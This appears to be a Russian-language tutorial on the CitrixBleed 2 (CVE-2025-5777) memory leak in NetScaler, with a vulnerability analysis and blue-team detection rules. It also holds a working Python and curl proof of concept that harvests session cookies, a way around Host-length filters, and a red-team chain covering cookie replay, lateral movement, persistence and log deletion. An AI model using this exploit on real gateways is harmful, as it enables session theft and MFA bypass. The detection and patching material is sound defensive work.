
详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件
Out-of-Bounds Memory Read в NetScaler ADC / Gateway — полное руководство от причин до атак и защиты
0x00 Введение / Краткий обзор
0x01 Предыстория: архитектура NetScaler и обзор CitrixBleed 1
0x02 Описание уязвимости (затронутые версии, CVSS, последствия эксплуатации)
0x03 Глубокий анализ механизма срабатывания (анализ исходного кода и скриншоты отладки)
0x04 Минимальный PoC + расширенный скрипт сканирования
0x05 Взгляд красной команды: полная цепочка атаки (обнаружение → утечка → перехват сессии → горизонтальное перемещение по сети)
0x06 Взгляд синей команды: обнаружение, криминалистика и проверка исправлений
0x07 Укрепление защиты: патчи, WAF, конфигурация, управление активами
0x08 Дорожная карта обучения / повторения и практические эксперименты
Приложение A Правила Sigma / Suricata / Nginx-Lua
Приложение B Временная шкала исправлений/эксплойтов и снимок IoC
Ссылки
Host, чтобы устройство «выплюнуло» клиенту случайные блоки памяти вместе с HTTP-ответом.NSC_USER / NSC_TASS Cookie, SAML StateContext, MFA token, которые можно напрямую использовать для перехвата сессии и обхода MFA (arcticwolf.com, tenable.com).┌──────────────┐
│ Клиент │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway аутентификация
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ Перенаправление к приложению
│ CVPN / RDP │
└──────────────┘
NetScaler использует многопроцессную + внутреннюю IPC архитектуру. WebProc обрабатывает большинство HTTP-запросов по путям AAA / Gateway, включая /nf/auth/*, /oauth/* и т.д. Он активно использует snprintf() / memcpy() на языке C при сборке XML/HTML фрагментов.
/oauth/idp/.well-known/openid-configuration.snprintf в качестве параметра len для последующего send() → зацикленный вывод за границы памяти.Вывод: если исправление безопасности направлено только на «конкретную точку», а не на «парадигму программирования», остаётся пространство для «шаблонного воспроизведения».
Этот раздел основан на декомпиляции прошивки 13.1-55.18 + отладке gdb, а также публичных блогах (bishopfox.com).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length может быть > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Точка ошибки:
snprintfвозвращает «длину, которая должна была быть записана», а не фактически записанную длину; если переданный пользователемHost> 0x1800 - длина константной части, тоlength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
отправляется вместе с ns_vpn_send_response
Точка остановки GDB (ключевые регистры):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
Результат read() показывает, что последующие 1600 байт взяты из неинициализированной памяти, где видны буферы Cookie других SSL-сессий.
| Категория | Пример фрагмента (обезличен) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| Другие тела запросов | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Минимальный PoC (ТОЛЬКО для авторизованного тестирования)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 триггер
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Утечка Cookie ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Сохранён leak.bin для офлайн-поиска.")
leak.bin ищем ключевые слова, такие как Cookie=, <AuthenticateContext>.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Обход: некоторые устройства ограничивают длину
Hostна фронтальном F5 / Nginx; можно обойти, используя многосегментную поддоменную конкатенацию, напримерfoo.foo.foo.…foo.example.com(повторитьfoo3000 раз).
Реальный случай: ReliaQuest наблюдала на шлюзах клиентов «короткие всплески запросов с заголовком Host размером 6+ КБ → сразу за этим — кража сессии» (reliaquest.com).
| Источник | Симптом |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
title: Утечка CitrixBleed2 через длинный заголовок Host
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Исправлено ✅" || echo "Уязвимо ❌"
# Очистить все активные VPN/ICA соединения
kill icaconnection -all
kill vpn -all
Примечание: после установки патча необходимо принудительно завершить сессии, чтобы не дать атакующему использовать уже украденные Cookie.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ и /oauth/ (например, 20 запросов/мин).title: Утечка Netscaler CitrixBleed2 через длинный заголовок Host
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Обнаруживает аномальную длину заголовка Host в запросах к /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 переполнение заголовка Host";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Заблокирован Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
Конец — надеюсь, этот документ поможет вам полностью понять и реагировать на CitrixBleed 2. Если нужны дополнительные примеры, скрипты или руководства по упражнениям, обращайтесь!
| Поле | Содержание |
|---|
| CVE | CVE-2025-5777 |
| Псевдоним | CitrixBleed 2 |
| Тип уязвимости | Out-of-Bounds Read / утечка информации |
| CVSS v4 Base | 9.3 (Crit.) (netscaler.com) |
| Затронутые версии | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| Условия эксплуатации | NetScaler настроен как Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) или AAA виртуальный сервер (arcticwolf.com) |
| Последствия эксплуатации | Утечка памяти → токены сессии → обход аутентификации / обход MFA → горизонтальное перемещение |
| Шаг | Цель и техника |
|---|
| ① Обнаружение активов | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan и т.д.; фильтр set-cookie: NSC_ |
| ② Утечка PoC | Пакетные скрипты, параллельные запросы; захват NSC_USER= ; NSC_TASS= |
| ③ Повторное использование Cookie | Chrome DevTools→Application→Cookies→добавить записи, обновить /vpn/index.html |
| ④ Внутренние ресурсы | Доступ к storeweb/#home для получения RDP файлов; загрузить .ica и войти напрямую в VDI |
| ⑤ Повышение привилегий | Внутренний Password Spraying, Kerberoast, ADCS ESC1; или использование слабого пароля SMB в том же сегменте |
| ⑥ Постоянство | Создание Scheduled Task; регистрация автозапуска скриптов; или изменение vDisk NetScaler (требует высоких привилегий и халатности администратора) |
| ⑦ Зачистка следов | Использовать Cookie и сразу удалять; удалить журналы аудита (если получен NS root); или использовать гонку logrotate для перезаписи |
| HTTP_ACCESS.log | Запросы к /nf/auth/startwebview.do с очень коротким временем обработки, но аномально большим размером ответа (> 2 КБ) |
| EDR/PCAP | Set-Cookie: NSC_USER= в ответах на не-логин-запросы |
| Этап | Рекомендуемые материалы и действия |
|---|
| Теория | Прочитать бюллетень безопасности Citrix, FAQ от Arctic Wolf / Tenable, технический разбор от Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com) |
| Эксперимент | Развернуть уязвимую версию 13.1-55.18 (ESXi / KVM), запустить минимальный PoC, захватить трафик Wireshark → наблюдать ответ TCP PSH |
| Кодинг | Доработать PoC: добавить автоматическое повторное использование Cookie, пакетное сканирование ZTLS, многопоточную очередь |
| Синяя команда | В двухчасовом окне искать аномальную длину Host; применить Sigma → Elastic/Graylog; воспроизвести и проверить политики WAF |
| Обмен | Написать блог или сделать майнд-карту, обобщив «ловушки использования snprintf того же типа» |
| Дата (2025) | Событие |
|---|
| 06-17 | Citrix впервые публикует бюллетень CVE-2025-5777 (netscaler.com) |
| 06-18 | Bishop Fox публикует первый технический разбор и PoC (bishopfox.com) |
| 06-23 | Citrix обновляет список затронутых версий + версии патча; CISA включает в KEV |
| 06-25 | ReliaQuest сообщает об активной эксплуатации; группы угроз массово воруют сессии (reliaquest.com) |
| 06-27 | BleepingComputer сообщает о «вероятно, массовом использовании» (bleepingcomputer.com) |
| 06-28 | Появляются несколько PoC на GitHub; Tenable публикует FAQ (tenable.com) |